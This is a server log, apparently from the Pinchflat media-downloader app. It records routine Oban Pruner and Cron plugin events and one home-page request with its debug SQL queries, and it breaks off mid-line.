{"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:49.077 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.869 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:22:19.078 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:49.079 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.870 [info] {"source":"oban","duration":189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:23:19.080 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:49.081 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.871 [info] {"source":"oban","duration":210,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:24:19.082 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:49.084 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.872 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:25:19.085 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:49.086 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.873 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:26:19.087 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:49.088 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.874 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:27:19.090 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:49.091 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.876 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:28:19.092 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:49.093 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.876 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:29:19.094 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:49.095 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.877 [info] {"source":"oban","duration":217,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:30:19.096 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:49.097 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.879 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:31:19.098 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:49.099 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.880 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:32:19.101 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:49.102 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.881 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:33:19.104 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:49.105 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.882 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:34:19.107 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:49.108 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.883 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:35:19.109 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:49.110 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.883 [info] {"source":"oban","duration":196,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:36:19.111 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:49.112 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.885 [info] {"source":"oban","duration":205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:37:19.114 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:49.115 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.885 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:38:19.116 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:49.117 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.886 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:39:19.118 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:49.119 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.888 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:40:19.120 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:49.121 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.889 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:41:19.122 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:49.123 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.889 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:42:19.124 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:49.125 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.891 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:43:19.126 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:49.127 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.892 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:44:19.128 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:49.129 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.893 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:45:19.130 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:49.131 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.894 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:46:19.132 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:49.133 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.895 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:47:19.134 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:49.135 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.896 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:48:19.136 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:49.137 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.896 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:49:19.138 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:49.139 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.897 [info] {"source":"oban","duration":196,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:50:19.140 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:49.142 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.898 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:51:19.143 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:49.144 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.899 [info] {"source":"oban","duration":150,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:52:19.145 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:49.146 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.901 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:53:19.147 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:49.148 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.902 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:54:19.149 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:49.150 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.903 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:55:19.151 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:49.153 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.903 [info] {"source":"oban","duration":202,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:56:19.154 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:49.155 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.904 [info] {"source":"oban","duration":185,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:57:19.157 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:49.158 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.906 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:58:19.159 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:49.160 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.907 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:59:19.161 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:49.162 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.908 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:00:19.163 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:49.164 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.909 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:01:19.165 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:49.166 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.909 [info] {"source":"oban","duration":167,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:02:19.167 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:49.168 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.910 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:03:19.169 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:49.171 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.911 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:04:19.172 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:49.173 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.912 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:05:19.174 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:49.175 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.913 [info] {"source":"oban","duration":173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:06:19.176 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:49.177 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.914 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:07:19.178 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:49.179 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.916 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:08:19.182 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:49.183 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:52.111 [info] GET / 09:08:52.112 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 09:08:52.112 [debug] QUERY OK source="settings" db=0.2ms idle=1381.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:08:52.112 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1381.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 09:08:52.112 [debug] QUERY OK source="sources" db=0.0ms idle=1381.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 09:08:52.113 [debug] QUERY OK source="media_items" db=0.2ms idle=1020.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:08:52.113 [debug] QUERY OK source="media_items" db=0.1ms idle=19.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:08:52.113 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:08:52.113 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:08:52.114 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:08:52.114 [debug] QUERY OK source="tasks" db=0.1ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 09:08:52.115 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 09:08:52.115 [debug] QUERY OK source="media_items" db=0.0ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:08:52.116 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 09:08:52.116 [debug] QUERY OK source="sources" db=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 09:08:52.117 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 09:08:52.118 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 09:08:52.118 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 09:08:52.119 [info] Sent 200 in 7ms 09:09:00.916 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:09:19.184 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:49.185 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.917 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:10:19.187 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:49.188 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.918 [info] {"source":"oban","duration":200,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:11:19.190 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:49.191 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.920 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:12:19.192 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:49.193 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.921 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:13:19.194 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:49.195 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.922 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:14:19.197 [info] {"source":"oban","duration":1765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:49.198 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.922 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:15:19.199 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:49.200 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.923 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:16:19.201 [info] 